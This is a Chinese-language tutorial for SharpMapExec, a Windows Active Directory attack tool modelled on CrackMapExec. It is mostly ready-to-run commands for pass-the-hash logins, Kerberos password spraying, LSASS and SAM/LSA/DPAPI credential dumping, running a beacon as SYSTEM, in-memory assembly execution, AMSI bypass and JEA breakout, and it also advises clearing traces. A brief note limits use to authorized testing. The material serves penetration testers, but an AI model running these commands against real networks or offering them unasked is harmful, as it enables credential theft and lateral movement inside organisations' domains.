SharpMapExec:针对网络渗透测试高级瑞士Knife
字数 1461 2025-08-15 21:33:26

SharpMapExec 高级网络渗透测试工具教学文档

工具概述

SharpMapExec 是一款基于 CrackMapExec 的高级网络渗透测试工具,可以视为 CrackMapExec 的优化版本。它是一个多功能渗透测试平台,专为 Windows 操作系统设计,特别适合内部威胁模拟攻防场景。

核心功能

  1. 权限扫描:识别管理员访问权限
  2. 安全配置检测:发现错误的安全配置
  3. 数据过滤:在远程计算机上执行最少必要代码,将敏感数据下载到本地解析
  4. 认证支持:Kerberos 和 NTLM 认证
    • Kerberos:创建令牌并使用 Rubeus 导入或请求凭证
    • NTLM:创建线程并使用 SharpKatz 运行 SetThreadToken

安装与要求

  • 仅支持 Windows 操作系统
  • 需要从 GitHub 获取最新版本

使用语法

基本命令结构

SharpMapExec.exe [认证方式] [协议] [参数] [模块]

认证方式选项

  • ntlm: 使用 NTLM 认证
  • kerberos: 使用 Kerberos 认证
  • kerbspray: 域密码喷射
  • tgtdeleg: 为当前用户创建 TGT

协议模块详解

SMB 模块

基本语法:

SharpMapExec.exe ntlm smb /user:USER /ntlm:HASH /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos smb </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET

可用模块:

  • /m:shares: 扫描可访问的 SMB 共享

WinRM 模块

基本语法:

SharpMapExec.exe ntlm winrm /user:USER /password:PASSWORD /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos winrm </user:USER /rc4:HASH /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET

可用模块:

  1. 执行命令:

    • /m:exec /a:whoami: 使用 Invoke-Command 执行命令
    • /m:exec /a:C:\beacon.exe /system: 以 System 身份执行命令
  2. 进程转储:

    • /m:comsvcs: 转储 Lsass 进程
    • /m:secrets: 转储并解析 Sam、Lsa 和 System Dpapi blobs
  3. 程序集执行:

    • /m:assembly /p:Rubeus.exe /a:dump: 在内存中执行本地 C# 程序集
    • /m:assembly /p:beacon.exe /system: 以 System 身份在内存中执行本地 C# 程序集
  4. 文件操作:

    • /m:download /path:C:\file /destination:file: 从主机下载文件

域模块

密码喷射:

SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC

TGT 委托:

SharpMapExec.exe tgtdeleg

高级功能

  1. JEA 节点扫描:

    • 分析非默认命令的源代码
    • 检查节点是否未配置为 no-language 模式
  2. AMSI 绕过:

    • 内置 AMSI 绕过功能
  3. JEA 语言中断:

    • 可用于代码执行
  4. PsRemote 访问扫描:

    • 识别易受攻击的 JEA 节点

使用示例

  1. Kerberos 密码喷射并扫描本地管理员访问:

    SharpMapExec.exe kerbspray /users:users.txt /passwords:passwords.txt /domain:domain.local /dc:dc.domain.local
    
  2. 使用 NT 哈希扫描本地管理员密码复用:

    SharpMapExec.exe ntlm smb /user:admin /ntlm:ABCDEF0123456789ABCDEF0123456789 /domain:domain.local /computername:target
    
  3. 大批量转储 Lsass 进程:

    SharpMapExec.exe kerberos winrm /user:admin /password:P@ssw0rd /domain:domain.local /computername:target /m:comsvcs
    
  4. 扫描 JEA 节点:

    SharpMapExec.exe kerberos winrm /user:admin /password:P@ssw0rd /domain:domain.local /computername:jea-server /m:exec /a:whoami
    

Kerberos 环境配置

在某些 Kerberos 场景下可能需要:

  1. 同步 DC 时钟:

    net time \\DC01.hackit.local /set
    
  2. 设置 DNS:

    Get-NetAdapter ethernet0* | Set-DnsClientServerAddress -ServerAddresses @('192.168.1.10')
    

注意事项

  1. 工具使用需遵守当地法律法规
  2. 仅限授权测试使用
  3. 敏感操作可能会触发安全警报
  4. 确保有合法授权后再对目标系统进行测试

项目地址

GitHub: SharpMapExec 项目链接

最佳实践

  1. 测试前先在小范围环境验证
  2. 使用最小必要权限原则
  3. 记录所有操作步骤和结果
  4. 测试完成后清理痕迹
  5. 生成详细的测试报告

故障排除

  1. 认证失败:

    • 检查凭证是否正确
    • 验证网络连通性
    • 检查时间同步(Kerberos)
  2. 命令执行失败:

    • 检查目标服务是否运行
    • 验证权限是否足够
    • 检查防火墙设置
  3. 工具运行错误:

    • 检查依赖项是否安装
    • 验证操作系统兼容性
    • 查看日志获取详细信息
SharpMapExec 高级网络渗透测试工具教学文档 工具概述 SharpMapExec 是一款基于 CrackMapExec 的高级网络渗透测试工具,可以视为 CrackMapExec 的优化版本。它是一个多功能渗透测试平台,专为 Windows 操作系统设计,特别适合内部威胁模拟攻防场景。 核心功能 权限扫描 :识别管理员访问权限 安全配置检测 :发现错误的安全配置 数据过滤 :在远程计算机上执行最少必要代码,将敏感数据下载到本地解析 认证支持 :Kerberos 和 NTLM 认证 Kerberos:创建令牌并使用 Rubeus 导入或请求凭证 NTLM:创建线程并使用 SharpKatz 运行 SetThreadToken 安装与要求 仅支持 Windows 操作系统 需要从 GitHub 获取最新版本 使用语法 基本命令结构 认证方式选项 ntlm : 使用 NTLM 认证 kerberos : 使用 Kerberos 认证 kerbspray : 域密码喷射 tgtdeleg : 为当前用户创建 TGT 协议模块详解 SMB 模块 基本语法 : 可用模块 : /m:shares : 扫描可访问的 SMB 共享 WinRM 模块 基本语法 : 可用模块 : 执行命令: /m:exec /a:whoami : 使用 Invoke-Command 执行命令 /m:exec /a:C:\beacon.exe /system : 以 System 身份执行命令 进程转储: /m:comsvcs : 转储 Lsass 进程 /m:secrets : 转储并解析 Sam、Lsa 和 System Dpapi blobs 程序集执行: /m:assembly /p:Rubeus.exe /a:dump : 在内存中执行本地 C# 程序集 /m:assembly /p:beacon.exe /system : 以 System 身份在内存中执行本地 C# 程序集 文件操作: /m:download /path:C:\file /destination:file : 从主机下载文件 域模块 密码喷射 : TGT 委托 : 高级功能 JEA 节点扫描 : 分析非默认命令的源代码 检查节点是否未配置为 no-language 模式 AMSI 绕过 : 内置 AMSI 绕过功能 JEA 语言中断 : 可用于代码执行 PsRemote 访问扫描 : 识别易受攻击的 JEA 节点 使用示例 Kerberos 密码喷射并扫描本地管理员访问 : 使用 NT 哈希扫描本地管理员密码复用 : 大批量转储 Lsass 进程 : 扫描 JEA 节点 : Kerberos 环境配置 在某些 Kerberos 场景下可能需要: 同步 DC 时钟: 设置 DNS: 注意事项 工具使用需遵守当地法律法规 仅限授权测试使用 敏感操作可能会触发安全警报 确保有合法授权后再对目标系统进行测试 项目地址 GitHub: SharpMapExec 项目链接 最佳实践 测试前先在小范围环境验证 使用最小必要权限原则 记录所有操作步骤和结果 测试完成后清理痕迹 生成详细的测试报告 故障排除 认证失败: 检查凭证是否正确 验证网络连通性 检查时间同步(Kerberos) 命令执行失败: 检查目标服务是否运行 验证权限是否足够 检查防火墙设置 工具运行错误: 检查依赖项是否安装 验证操作系统兼容性 查看日志获取详细信息